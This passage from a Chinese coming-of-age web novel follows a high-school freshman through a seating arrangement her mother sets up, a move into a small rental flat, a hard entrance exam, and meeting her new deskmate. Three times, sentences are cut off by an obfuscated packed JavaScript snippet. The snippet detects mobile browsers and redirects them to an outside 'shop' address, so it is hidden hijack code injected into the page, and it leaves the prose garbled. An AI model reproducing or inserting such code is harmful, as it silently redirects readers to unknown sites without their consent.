然而,就在她目光停留的下一秒,奚华年侧了侧身,与他交谈那人的正脸露了出来,是韩慎谦。他表情平静,手里似乎还拿着半瓶水,正认真地对奚华年说着什么,后者频频点头。 东篱夏瞬间收回了目光,刚刚升起的对校园男神的好奇,一下子消失得无影无踪。 任何和韩慎谦联系在一起的人和事,都会自动被她划入不想过多接触的范畴,哪怕对方是看起来无可挑剔的奚华年。 能和韩慎谦聊得这么投入,必然也是一类人,都是那种站在光环中心、轻松自如的真神。 “看,那就是奚华年。”苗时雨这次是真没察觉到东篱夏细微的情绪变化,还在小声介绍,“旁边那个就是韩慎谦,被分到一班去了,唉,他和咱们夏夏可是老对手了。” “嗯,可不。”东篱夏含糊地应了一声,重新低下头,摆弄着手里的矿泉水瓶子。 封神榜也好,鸳鸯谱也罢,那些闪耀的名字和传闻中的纠葛,此刻都变得有些索然无味。 她只想这片树荫能再大一点,休息时间能再长一点,让她能暂时躲开那些无处不在的比较和聚焦的目光,哪怕只是和两个新朋友,说说无关痛痒的闲话。 7. 包办同桌 军训最后一天的下午,班主任柳鸿特意叫二班同学留了下来,说要开个简短的小班会。 柳鸿是教生物的,头顶已经有些地中海、说话方式慢条斯理的,资历很深,也比较稀有——毕竟江大附中生物老师中兼职班主任的实在不多。 他先总结了军训磨练意志的优良成果,然后话锋一转进入正题:排座。 排座位是一件大有学问的事情,也是民主集中制在班级管理上的集大成之处。民主的必要性在于,如果全靠老师安排,必然会有性格不合的“怨偶”出现;集中的必要性则在于,倘若全听学生的,到时候如果出了问题,家长也必然会有不乐意之处,赖在班主任撒手不管上。 柳鸿的方法简单粗暴——按身高大致划了四个组:一个高个子组、两个中等偏高组、一个小个子组。高个子组基本是男生,只有零星几个女生,小个子组则截然相反,只有两个男生,这两组同桌组合自由度相对大些。而占多数的中等身高组,则被他明确要求男女搭配,有利于课堂讨论和纪律维持。 东篱夏身高165,被划进了中等二组,虞霁月167,也在同一组。要是能自由选择和女生同桌,东篱夏肯定会毫不犹豫选虞霁月,至少相处起来轻松自在。 集中的部分完了,就该民主了。 “大家可以根据初步印象,自行沟通,看看在组内希望和哪位同学成为同桌,今晚八点前,私信把意向报给我,我会尽量尊重大家的意愿。” 说完,他还特意强调,稍后会把初步的分组情况和最终的座位表,都发到家长群里,公开透明,接受监督。 散会后,二班的同学们就炸开了锅,各自讨论起来。同性做同桌的两组还比较好选,异性做同桌的两组,倒有些“非诚勿扰”牵手成功的架势了。 有相熟的同学立刻凑在一起商量,有活泼的已经开始物色看起来好相处的异性同桌候选人,也有像东篱夏这样,站在原地有点茫然的。 她对和男生一桌完全没什么见解,甚至有点发怵。跟不熟悉的人,尤其是男生,每天近距离相处那么久,光是想想那种需要小心维持的社交距离,就让她感到额外的疲惫。 明天的摸底考试更让她心烦意乱,暑假衔接班就学得磕磕绊绊,军训又耗光了精力,她对考试毫无把握,甚至害怕第一次亮相就会砸了状元的招牌。 她只想赶紧回家,至于同桌,看看有没有人会找自己吧,让她去主动找同桌是绝对不可能的。 收拾书包时,柳老师却叫住了她:“篱夏,先别急着走,你妈妈在校门口等你,说今天接你回去。” 东篱夏愣了一下。妈妈真的来了?她原以为还是自己打车回奶奶家。 走出校门,果然看见妈妈站在树荫下朝她挥手。 “夏夏,累坏了吧?走,带你去看看咱们的新家!” “新家?”东篱夏懵懂地跟着妈妈走。 “对,就在学校旁边,走路十分钟。我托你周阿姨帮忙找的,和她租的房子门对门,特别方便。”妈妈边走边解释,“周阿姨人可好了,以后有什么事,咱们两家也能互相照应。” “周阿姨?”东篱夏在记忆里搜索这个称呼,“哪个周阿姨?” “就是贺大大的爱人呀!你爸生意伙伴贺大大,他儿子贺疏放,不是跟你一个班吗?你见过没,有没有说上话?”妈妈转过头,期待地看着她。 贺疏放? 东篱夏想了半天,毫无印象。 “可能见过吧,大概率没有,不太确定。”东篱夏含糊地回答道。这位贺疏放既然没有主动凑过来套近乎,以她内向的性格,也绝不可能主动去和一个陌生男生社交。 “哦,没关系,以后机会多的是。”妈妈似乎并不失望,“我听你周阿姨说,小贺那孩子理科特别好,尤其是化学,在搞化学竞赛。你初中化学不是有点弱吗?这不是巧了!” 东篱夏瞬间预感不妙。 “你周阿姨还说,小贺语文英语好像不太灵光,正好你语文英语强啊!我看你们老师往家长群里发了分组表,你俩要是能坐同桌,正好互补,互相帮助,多好!” “妈……”东篱夏试图表达一点微弱的异议,“同桌还是看老师安排和自己意愿吧?” “哎呀,别以为我不知道,你们老师都在群里说了,组内可以自己商量的。”妈妈一副理所当然的样子,“我已经跟柳老师简单沟通了一下,也跟周阿姨说了,让两个孩子也接触接触,不是强求,就是创造个机会嘛!你看,住得近,家长也认识,学习上还能互补,多合适的同桌人选!总比你跟一个完全不认识的强吧?” 这不就是旧时代包办婚姻那一套话术吗? 多好的一门亲事,两家门当户对,知根知底,郎才女才,简直是天作之合啊! 完全无人在意新郎官和新娘子在此之前压根不认识。 妈妈的话句句在理,完全是为她着想,东篱夏一想到妈妈辞去北京高薪的工作回来陪读,刚到江城就忙着安顿、租房、联系老师……所有的话都堵在了喉咙口。 她好像没有立场去反抗妈妈的安排,就像她无法反抗状元带来的期望,无法反抗必须考去北京的家庭愿景一样。 “好。”她最终只是低低应了一声,算是妥协。 她跟着妈妈走了没多久,就拐进了一处小区里,还是能看见一些穿迷彩服的身影陆陆续续进来,看来有挺多同学都在这里租了房子。 楼道有些年头了,墙皮略显斑驳,但一打开门,暖黄色的灯光立刻洒满了小小的空间,小,但亮堂。 房子是典型的陪读户型,四十平米不到,布局一目了然:进门右手边是卫生间,正对着的就是两个并排的房间门,中间隔着一条窄窄的过道。所谓的客厅,其实就是过道延伸出来的一小块区域,勉强塞下一张沙发,右边是开放式的迷你厨房,灶具水槽冰箱紧巴巴地挤在一起。 妈妈兴致勃勃地带她参观:“这间大的给你,窗户朝南,光线多好!我给你买了新的书桌和椅子,还有台灯,学习累了就看看外面。” 推开大屋的门,里面果然布置得清爽温馨,宽敞的原木书桌靠窗摆放,配着人体工学椅,桌上已经放好了收纳架,为了让她睡得好些,窗帘特意选了不透光的深色。东西不多,但也明显透出了有限条件下竭力营造出的温暖用心。 “喜欢吗,夏夏?”妈妈似乎有点紧张。 暖融融的小空间里,东篱夏鼻头又是一酸,用力点了点头,立刻把包办同桌的事忘在了脑后。 至少, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957781|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈妈是真的很努力在为她打造一个安定的后方。 “喜欢就好,我住这间小的够用了。”妈妈推开对面的小屋门,里面更简单,一张单人床,一个衣柜,靠窗有个电脑桌。 东篱夏忽然想起什么,随口问道:“贺大大他们家是做买卖的,也住这种四十平的小房子吗?” “哪能啊!”妈妈笑了,“这楼是一梯两户的设计,咱们这边是四十平的户型,对面他们家那户是六十平的,格局也好些。反正都是租的,为了孩子上学方便,再挤也就三年,挺一挺就过去了。” 原来如此。 东篱夏心想,看来门当户对里也分个三六九等。 “你贺大大和周阿姨他们今天还没搬过来呢,等他们安顿好了,咱们再去正式拜访一下,打个招呼。”妈妈嘱咐道。 拜访? 东篱夏眼前似乎已经浮现出两家人客客气气坐在稍大一点的客厅里,父母们寒暄,她和那个什么贺疏放被推到中间,被期待多交流学习的场景。 怎么这么像下聘见亲家? 虽说父母之命、柳鸿之言都有了,但她和那个一样苦命的新郎官真的完全不认识啊! 东篱夏连忙甩开了这个荒谬的念头,一直压在心底的忧虑又冒了出来,“妈,在江附边上租房子很贵吧?你和爸爸为了我能有个好成绩,付出这么多,要是最后我没考上清华北大,或者连江大都考得勉强,我……我会特别特别愧疚的。” 妈妈正在整理沙发靠垫的手停了下来,转过身,有些惊讶地看着她,“傻孩子,你想哪儿去了?我给你租这房子,每个月多花这些钱,不是为了逼你必须考清华北大的。” 说完,妈妈走过来,揉了揉东篱夏的头发,“妈妈就想着,高中学习压力大,你每天能多睡半小时,少在路上折腾一会儿就好。爸妈租这个房子,是让你三年少受点罪,至少生活上轻松点,考成什么样是你自己的事,尽力就行。” 东篱夏鼻子又有点发酸了。 初中只要她考的不好,奶奶就会批评她对不起爸妈在外地为她累死累活,导致她一直坚定地认为,所有的付出都标好了价码,期待着她用顶尖的成绩来偿还。 为了掩饰,东篱夏赶紧转移话题,“妈,晚上我们吃什么?” 没想到,妈妈闻言却愣了一下,随即脸上浮现出明显的尴尬,“啊?学校军训这几天不供晚饭吗?” 东篱夏也愣了,“军训这几天都不供晚饭啊,我每天回家,都是吃的爷爷奶奶做的饭。” 她这才想起,妈妈这几天忙着租房、打扫、置办东西,每天很晚才回爷爷奶奶那边,压根不知道她晚饭没着落。 “哎哟,我这脑子!”妈妈拍了下额头,一脸自责,“你这孩子,怎么也不说一声,饿着没有?怪我怪我。” 说完,妈妈赶紧拿出手机,塞到东篱夏手里,“快快,点你喜欢吃的外卖,今天咱们娘俩也算乔迁新居,吃点好的,想吃什么点什么,妈请客!” 东篱夏确实饿了,也没跟妈妈客气,点了份必胜客的双人套餐。等待外卖的时间里,母女俩坐在崭新的小沙发上,一时无话,这个临时的家里,第一次有了鲜活的烟火气。 她们这对陌生的母女啊,还需要时间去重新熟悉起来。 8. 学学化学 吃完必胜客,第二天就是摸底考试了,东篱夏坐在自己的新屋子里,正犹豫着要不要象征性翻翻初中笔记时,听到客厅里妈妈的手机叮咚响了好几声。 不一会儿,妈妈拿着手机走过来,“夏夏,你看,你们班家长群还挺热闹。周益荣妈妈发了个二维码,说是她儿子建的同学群,让大家都加进去,方便联系,我转发给你啊。” 东篱夏有些意外地扫了码,一个名为“二班不一般”的微信群跳了出来,群成员在迅速增加。 群主周益荣很快发了一条公告:麻烦各位同学实名一下群昵称,方便大家认识,避免误伤【抱拳】 真有效率。 因为从小到大多数时间父母不在身边,手机作为她和父母联系的唯一工具,家里对她使用手机的管理相对宽松,不像班里少部分同学,只在特定时间才能获得手机的使用权,有的更是连微信都没有。 她往下翻了翻成员列表,果然看到了虞霁月,立刻发送了好友申请。 几乎秒过。 虞霁月的微信昵称叫“我见诸君多有病”,倒是很符合她的气质。 东篱夏充满好奇地点开对方的朋友圈,更新频率很高,尽是些天马行空的碎碎念—— “江大附中,你家柿子炒鸡蛋做咸口的,你有心吗?” “昨天挠的‘荨麻疹’结痂了,明天是不是又能找个新理由摸鱼了!” 诸如此类,每一条都配着夸张的表情包,看得出主人是个情感充沛、脑回路清奇的“神经病”。 东篱夏看着,嘴角不自觉弯了弯,和虞霁月在微信上互相发了几句对明天摸底考试的吐槽和哀嚎,心情倒是轻松了一点。 就在这时,一条新的好友申请弹了出来。 对方的微信昵称叫“学学化学”,头像是一个简洁的烧杯,好友申请框里只有一句干净利落的自我介绍:“hihi,我是贺疏放。” 东篱夏心脏没来由地漏跳了一拍。 新郎官主动来加她了? 他加我干嘛?是礼节性打个招呼,还是也被贺大大和周阿姨叮嘱了? 东篱夏的脑子里瞬间上演了小剧场。 万一人家本来有自己中意的,想坐一起的女生人选结果因为两边妈妈一通操作,被迫要跟自己这个陌生人绑在一起,他心里该多不乐意啊?那样的话,她岂不是成了言情小说里阻挠男女主角在一起的恶毒女二号了? 越想越觉得尴尬,但她又不能不加。 通过后,聊天界面空空荡荡,东篱夏盯着对话框,开始纠结开场白。 太热情了显得奇怪,太冷淡了又怕对方觉得自己不好相处。她先发了一个微笑着挥手的小猫表情包,然后噼里啪啦开始打字:“以后多多关照~” 刚输入完她就觉得,那个波浪线有点过于亲切了,删掉,换成了“以后多多关照【可爱】”。 东篱夏看了半天,又觉得那个【可爱】的表情有点刻意卖萌,再次删掉。 最后,她深吸一口气,发送:“以后多多关照【合十】” 东篱夏对自己的杰作十分满意——中规中矩,略显疏离,但足够礼貌。 贺疏放回得很快,也是先甩过来一个打招呼的表情包,然后跟了一行字:“多多关照啊,新同桌【呲牙】” 语气看起来很轻松,甚至带着点随意,【呲牙】的表情中和了“新同桌”这个词微妙的正式感。 然后就没有然后了。 对话就此停滞,没有寒暄,没有试探,干净利落得让她准备好的如果对方来恭维两句的腹稿完全没了用武之地。 这就完了? 东篱夏盯着那行字,有点拿不准对方的态度。是同样觉得尴尬所以速战速决,还是本身性格如此,不爱多说话? 好奇心驱使下,她点开了贺疏放的朋友圈,背景图是一片星空,往下翻,内容少得可怜,并且且风格高度统一——清一色转发的某乎化学领域相关问题,偶尔夹杂一两条化学界新闻,配文除了“有意思”、“存了”以外,就只剩下三个狗头。 没有生活照,没有心情分享,没有游戏战绩,甚至连张风景图都没有。 果然是个“学学化学”。 东篱夏默默退出,对这个新同桌有点失望,但又转念一想,贺疏放大概也看不到她的什么。 她早就习惯给朋友圈分组,之前的内容大多设置了几个小分组可见,新加的这群高中同学,被她统一丢进了新建的“江附校友”分组里,上高中前发的朋友圈,他们通通看不到。 也好,她想着。 至少在信息透明度上,两人算是扯平了,谁也别想从朋友圈里窥探到对方更多的样貌。 后来,她又陆续通过了几个同班同学的好友申请,大多是简单寒暄“你好,我是xxx,以后一个班,多多关照啊”,她一一礼貌回复,偶尔点进去看看对方朋友圈,努力在脑海里对对脸,时间就在社交中悄然流逝。 等到妈妈提醒她该关灯睡觉时,东篱夏才惊觉,原本应该用于复习的一晚上,就在加好友、改备注、看朋友圈和进行简短而客气的对话中消耗殆尽了。 她收拾了考试用具,洗漱完,躺在新房间的小床上,手机屏幕的光暗下去,在黑暗中眨了眨眼。 这就是高中的开端吗? 好像和想象中纯粹埋头苦学的氛围不太一样。 第二天,摸底考试如约而至。 其实硬要她复习,她也不知道应该看点什么,说是考初中内容为主,但范围太广,无从下手,干脆就凭残留的记忆和暑假衔接班那点囫囵吞枣的印象去碰碰运气。 考场是按中考成绩蛇形排列的,四十个人一间教师,单人单桌,一排八个人,一共五排。 东篱夏作为状元,自然被分在第一考场右手边第一排,考场在一班教室。她找到自己座位时,后面的位置已经有人了,是个个子相当高的寸头男生,东篱夏感觉他快有两米了。 那男生听到动静抬起头,看到她,很自然地扬起一个笑容,甚至抬手打了个招呼:“嗨,你就是东篱夏吧?久仰,我是纪涵星。” 态度大方,确实像虞霁月描述的,有点“阳光开朗大男孩”的意思。东篱夏有点意外,也局促地点头回应:“hello,久仰久仰。” 虽然我刚刚知道你长啥样不到一个星期。 坐下后,东篱夏忍不住抬眼看了看贴在黑板上的考场名单,从她这个位置一抬头就能看见。 她的视线快速扫过,在第一排找到了自己的名字,又在第二排看到了纪涵星,目光从头到尾搜寻了一遍,也没看到目标的名字——贺疏放。 果然没有。 心里那点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957782|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说不清道不明的抵触情绪里,莫名掺入了一丝连她自己都不愿承认的居高临下。 看来这位被妈妈和周阿姨寄予厚望的新郎官,实力也就那样。 至少,在这第一次以中考成绩排定的战场上,他连和她同场竞技的资格都没有。 考试铃响,第一门语文。 试卷发下来,东篱夏快速浏览了一遍,心里大致有了底。 这卷子果然如她所料,是初高中知识的过渡,大部分题目依托初中基础,但阅读理解的文本更晦涩,对逻辑和深层含义的挖掘要求更高,古诗文鉴赏也出现了更复杂的手法辨析,作文更是只允许写议论文,对初中写惯了记叙文的她很不友好。 她做起来不算轻松,但胜在基础扎实,语文又是强项,磕磕绊绊倒也基本能答个七七八八,只是速度和准确率肯定不如中考时那般如有神助。 第二门物理,东篱夏稍微找回点自信。 初中物理她学得不错,衔接班虽然学得吃力,但那些基础模块反复折腾过,试卷上的题目大多还在这个范围内,只是综合性更强,陷阱更多,她做得还算顺手。 然而好景不长,第三门化学,成了她今天的滑铁卢。 初中化学就是她的短板,那些酸碱盐的性质她总是记得零零散散不成系统,暑假衔接班的化学更是像听天书,什么升失氧降得还,什么阿伏伽德罗常数,她不仅配不明白平,老师更是讲得飞快,一堆陌生的概念和原理劈头盖脸砸下来,完全来不及消化。 最后一道选择题彻底卡住了她,题干给了一个含铵根离子的化合物参与氧化还原反应的简单情境,问的是反应中氮元素的化合价变化。 东篱夏盯着题目,大脑一片空白。 她拼命回忆暑假课上是否提过,但只记得老师似乎说过一句氮元素价态复杂,具体如何变化,实在是毫无头绪。 时间一分一秒过去,周围都是笔尖划过试卷的沙沙声,偶尔有同学翻动试卷的轻响,她盯着那道题,试图从题干里有限的文字中再榨出一点信息,脑子里却越急越乱。 学学化学。 这个微信昵称在此时此刻从她脑子里跳出来,显然很荒谬了。 如果贺疏放在,这种题大概一眼就能看出答案吧? 想到这,东篱夏更加烦躁。 交卷铃声响起前,她不得不胡乱选了一个看起来顺眼的选项,放下笔时明显感觉自己手心有些潮。 让她烦躁的不仅仅是这道题不会,而是透过这道题,她清晰地看到了随着高中理科知识深度和广度的骤然提升,自己初中那套“背多分”战略的巨大缺口。 战略上的问题必须引起重视。 上午的考试结束,收完答题卡,第一考场里很多人并没有立刻去食堂吃饭,而是留下来聚在一起,叽叽喳喳地对答案。东篱夏生怕被别人揭穿自己“德不配位”,立刻把卷子团了一团丢进桌洞最里面,也没叫苗时雨或是虞霁月,独自混在呜呜泱泱的人群中往食堂走。 纪涵星从她身边走过,笑容也明显没有考试前阳光灿烂了,随口问了句“考得怎么样?”,她只能含糊地应了句“还行”。 摸底考试就像照妖镜一样,照出了她知识结构的缺失和战略上的漏洞。东篱夏总感觉,马上要有个齐天大圣降临,给她这个扮成大boss的小妖打回原形。 9. 235分之129倍根号五 东篱夏赶到食堂的时候,各个档口都已经大排长龙,只好随便挑了个人少的档口买了屉烧麦,在密密麻麻的餐桌间穿梭,试图寻找空位。 目光所及,大多是穿着迷彩服的新生三三两两聚在一起,边吃边兴奋地讨论着刚刚结束的考试。 终于,她看到一张四人桌只面对面坐了两个男生,便快步走过去,在空着的一侧坐下。二位大哥也没看她,显然正处在考后的亢奋之中,热烈地对着答案。 东篱夏默默听着,烧麦嚼得心不在焉,偷偷瞟向斜对面那个男生。他侧对着她,个子很高,看着能有一米八七,戴着黑框眼镜,长得就像理科很好的样子。 这人好像有点眼熟? 东篱夏回想了一下,似乎在刚才的考场里见过,负责收她们一列的答题卡。 她的目光悄悄落在了他随意搭在桌边的迷彩服外套上,胸口别着的姓名牌正好冲着她露出来,上面写着“何建安”。 何建安……东篱夏在心里默念了一遍,她对这个名字有印象,自己在分班名单上看到过,和她同在二班。 坐在她正左边的男生因为和她平行,东篱夏不太好意思扭过头去直接看人家的名牌,只能从他说的话来判断,应该是个思维挺活跃的人。 两个男生把物理的几道难题全都讨论了一遍,东篱夏竖着耳朵听,发现他们的思路和答案跟自己大致不差,心里稍微定了定。 看来这俩人也挺有实力的,东篱夏如是想。 两个男生的话题紧接着转到了化学,东篱夏的心一下子提了起来,烧麦也忘了往嘴里送。 “化学最后一道选择选什么?就那个铵根变价的。”斜对面的何建安问。 “C啊。”左边男生的声音响起。 “我也选的C,那就没问题了。”何建安语气轻松。 就这么轻描淡写地确定了? 东篱夏记得自己最后胡乱选了个B。 更让她郁闷的是,听这两人对话的语气,这道题压根根本不是他们讨论的重点,只是顺带确认一下,就迅速跳到了下一题。 东篱夏不想死得不明不白,深吸一口气,鼓起这辈子都没多少的主动和陌生异性同学搭话的勇气,侧过身问道:“那个,不好意思打扰了。请问你们刚才说的那道化学题为什么选C?能简单讲一下吗,谢谢!” 她都没想到自己能一连串说出这么多话来。 两个男生都愣了一下,显然没料到旁边这个一直安静吃烧麦的女生会突然插话,齐齐看向她。何建安眼神里带着点好奇,左边那个男生也转过头来,和东篱夏四目相对。 东篱夏看清了他的脸。 他皮肤算不上白,但也不黑,挺拔鼻梁上架着副细方框眼镜,嘴唇有点薄,相貌干净,是张清秀甚至称得上有点小帅的脸。 这张脸……好像也有点眼熟? 随着他转身,好闻的洗衣粉味道再一次飘了过来,瞬间唤起了东篱夏的记忆——是他,是军训时候那个被教官指派把她扶到树荫底下,给她打水的男生。 当时她头晕眼花,没看清他的长相,只记得他有点懒散的腔调和身上清爽的味道。 男生也显然认出了她,脸上露出一个恍然的表情:“是你啊?好点了没?” “啊,好多了,那天谢谢你……”东篱夏有些局促地点了点头。 “没事就好。”男生似乎并不在意,很自然地接回了刚才的话题,“那道题是吧?其实没那么复杂,就是刚上手氧化还原反应,不太好想。” 男生为了让她能更好地听明白,语速特意放慢了些,也没拽什么高深术语,就用初中已知的价态和简单的氧化还原变价推导,东篱夏跟着他的思路,之前堵住的地方豁然开朗。 “明白了,谢谢你。”原理其实并不难,思路也很直接,她之前却完全没绕出来。 “客气。”男生笑了笑,似乎还想说什么。 但一想起丢了的三分,强烈的分数焦虑和“原来这么简单我都不会”的强烈自责,瞬间淹没了她对小帅哥短暂的留意,东篱夏就没心情继续和他寒暄了。 “我吃完了,你们慢慢吃。谢谢讲解。”东篱夏迅速站起身,端起笼屉,朝两人点了点头,便转身朝着餐具回收处走去。 走了几步,混入嘈杂的人群,她才忽然想起自己又忘了问左边那个男生叫什么名字了。 算了,三分都没了,谁还在意讲题的小帅哥叫什么。知道他是那个军训时帮过自己的人,大概也就够了。 至于名字……反正都在一个年级,以后总有机会知道吧? 回到第一考场时,离下午开考还有一段时间,教室里先回来的十几个同学已经自发地聚成几小堆对起了答案。 东篱夏刚走进门,就被眼尖的同学发现了。 “状元回来了!” 不知谁喊了一声,好几道目光立刻齐刷刷地射过来,她瞬间被三四个同学围住了。 “东老师,化学倒数第二道选择,离子共存那个,你排除了哪个?” “东老师,语文成语题选什么啊?” “东老师,物理最后那个电路,你做上了吗?” 一口一个东老师,不知道的还真以为她是监考老师呢。 问题多得让东篱夏有点招架不住,只能挑自己还算有点把握的简单回应几句。 然而她惊讶地发现,有几个中考成绩也在前列的同学,物理大题竟然连基本公式都没列出来,而自己做完后还检查了好几遍。 按理来说碰上这种事,正常人都应该暗自庆幸自己考得好,表面上安抚对方两句,背地里早偷着乐去了。 东篱夏显然异于常人,她的第一反应是怀疑自己做这套卷子时候的得心应手。 是不是题目真的很难,只是自己没意识到?或者是自己做错了方向而不自知? 就在对答案的声浪越来越高时,教室门口传来一声严厉的咳嗽,众人回头,只见沈婕副校长不知何时站在了门外,军训前的温和笑容消失不见,不怒自威。 “都在干什么呢?考完一门丢一门,不知道吗?中午不休息,下午哪来的精力应付数学和英语?现在,所有人,立刻回自己座位,不许交谈,趴下休息!二十分钟后,我再来巡视!” 刚刚还激烈争辩答案的新生们迅速噤声,乖乖散开回到座位,有几个还想偷偷交流眼神的,被沈婕犀利的目光一扫,也赶紧低头趴了下去。 东篱夏也顺从地趴在了课桌上,脸蛋贴着冰凉的桌面闭上了眼睛,脑子里却没有半点睡意。 初中数理化三门,数学是她唯一不输韩慎谦的科目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957783|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,再奇怪的辅助线都能想出来。听说江大附中的数学摸底考向来以下马威著称,东篱夏暗暗想着,会难成什么样? 下午,数学试卷发下来的那一刻,东篱夏就彻底老实了。 前面填选还算温和,她过得很快,但大题难度如同飞升了一样,最后两道压轴题题干里出现了明显的竞赛影子,她连题目都要反复读几遍,才能勉强理解题干给出的新定义。 东篱夏做得很艰难,思考的时间远远超过下笔的时间。 她在倒数第二题反反复复换辅助线,最后直接放弃巧解,换思路硬算,竟然真的推导出了一个结果,心里却完全没底,甚至不确定自己的思路是否在出题人的考量范围内。 最后一道题,她只能写出前半部分的思路,后半部分更是完全卡死在那里。 时间到,收卷。 何建安再一次面无表情地收走了她的,手里那摞答题卡一闪而过,东篱夏瞟到了最上面那张,是她身后纪涵星的,连正面都有大片大片的空白。 同是天涯沦落人啊。 数学考试结束后,对答案的场面更混乱,很多人脸上已经没了上午的兴奋,只剩下沮丧和麻木。 “最后一道题有人做出来吗?” “完全看不懂,那是什么鬼定义?” “完蛋了,开学考试数学就要不及格了……” 东篱夏也尝试着问了问自己勉强做出的倒数第二题,发现周围绝大多数人都看都没看直接放弃,少数几个声称做了的,答案也是五花八门,没一个和她相同。她甚至听到一个男生正极其肯定地向旁人讲解着他的精妙解法,一问得多少,235分之129倍根号五。 东篱夏算出来得2。 她该信谁? 东篱夏茫然了。 在初中,她、韩慎谦、苗时雨、沈天歌,四个人只要有三个人的答案一样,大概率就是标准答案了,但这间考场汇聚了全市顶尖高手,每个人看起来都言之凿凿。 最后一门是英语。 如果说数学是重拳出击,英语必然就是一场温柔的凌迟。 试卷一发下来,大家就傻眼了——阅读理解里充斥着大量高中乃至四六级词汇,少数几个认识的词,放在具体语境中也完全变了味道。 东篱夏模糊地记得自己背过,清楚地知道自己现在不认识,阅读只能连蒙带猜,抓个大概主旨,细节题几乎全靠运气。完形填空更是做得她痛苦不堪,四个选项能认识两个就是万幸。 交卷铃响后,东篱夏最后一次看着何建安收走她的试卷,考场里抱怨声、哀嚎声此起彼伏,却再没有人急着对答案了。 大家都清楚,英语考成这个样,除非谁拿出个词典笔来,否则根本无从对起——太多单词不认识,太多句子没读懂。 虞霁月三两步走过来,勾肩搭背地揽着她,没提考试的事,邀请她一起回二班教室。东篱夏勉强笑了笑,半个身子都靠在虞霁月身上,脚步都有些发飘了。 五门考试,没有一门给她带来笃定的信心,初中考试结束后“一切尽在掌握”的感觉,早已荡然无存。 这就是她未来三年要面对的常态吗? 真正的战争似乎从这一刻才真正打响。 而面对这一切的她,如今赤手空拳,丢盔卸甲。 10. Confucius 东篱夏和虞霁月一起回到二班教室,发现柳鸿老师已经站在讲台前,正拿着一张座位表往黑板上贴。 柳鸿用力拍了拍黑板,声音依旧慢条斯理,“根据大家提交的意向和身高分组,座位初步排好了,大家自己看一下,先按这个坐,有什么问题私下跟我说,一会儿晚课上英语。” 座位上的同学们呼啦啦涌到黑板前,东篱夏和虞霁月趁着刚进教室离着近,迅速找到了各自的名字——东篱夏在倒数第三排,挨着贺疏放,虞霁月在倒数第二排,同桌是周益荣。 “挺好挺好,咱俩前后桌。”虞霁月显然也找到了,对她笑了笑。 东篱夏对周益荣有印象,毕竟是“二班不一般”的群主,加之军训这几天热衷于张罗公共事务,班级里很多人都对他有了个初步的印象。 她有点好奇,虞霁月实在也不想会主动找同桌的人,以她的性子,即使真选了周益荣,大概率也是掷骰子掷到的。于是,东篱夏小声问,“你和周益荣之前就认识,所以约好坐一起了?” “啊?哦,他也是七中的,我们七中这一届考的本来就没有你们江北实验和一中的多,报团取暖嘛。”虞霁月语气轻快,东篱夏却莫名觉得她在故意岔开话题,也识趣地没再多问。 就在这时,教室门口又进来两个人,正是中午食堂里对答案的二位大哥。 何建安扫了眼座位表,似乎心里早就有数,径直走向高个子组的区域,在一个空荡荡的座位旁边坐下。另一个清秀的男生看了眼座位表后,目光在教室里扫了一圈,又转头对照了一下黑板上的表,脚步顿了顿,明显有些诧异。 东篱夏看着他越走越近,莫名其妙紧张了起来。 不会吧? 想什么来什么,他真的停在了自己旁边的空位前。 两人四目相对,空气安静了一瞬。 “你就是东篱夏?” “你就是贺疏放?” 两个人几乎同时问出声。 东篱夏甚至不知道该怎么描述自己此时此刻的心情——惊讶、尴尬,好像多少有点庆幸,又隐隐有点高兴。 她惊讶世界居然这么小,这个和她偶然有过两次交集的男生,竟然就是“学学化学”大哥? 尴尬在自己之前还暗搓搓臆测人家实力不咋地,连第一考场都没进,结果还是贺疏放先在食堂给她讲了道化学题。 可又幸好是他。 起码两个人不是完全陌生,更不需要从头尬聊,至少他们有过两次短暂的交集,并且两次都不算糟糕。东篱夏偷偷瞄了贺疏放几眼,他长得在十五六岁的新高一学生里,算是很清秀很好看的,一点也不像会往朋友圈里转发知乎化学分析文的人。 在此之前,东篱夏完全没想到,自己居然是外貌协会会员。 “我的天,居然是你。”贺疏放显然也处在同样的震惊中,有点不好意思地笑了,他一笑,那股随意的劲儿就又回来了,“中午我还在你面前班门弄斧,给你讲化学题……” “没有没有!”东篱夏连忙解释道,她是真心感谢,也真心觉得这一切实在太过巧合,“你讲得特别清楚,是我自己没想到,谢谢你啊。” “害,一道题而已,都赖摸底的卷子,出得太刁钻。” 贺疏放自然地拉开椅子坐下,东篱夏也跟着坐下,这才注意到贺疏放确实挺高,坐着也比自己高出不少,随口问道,“你差点就被分到高个子组了吧?” 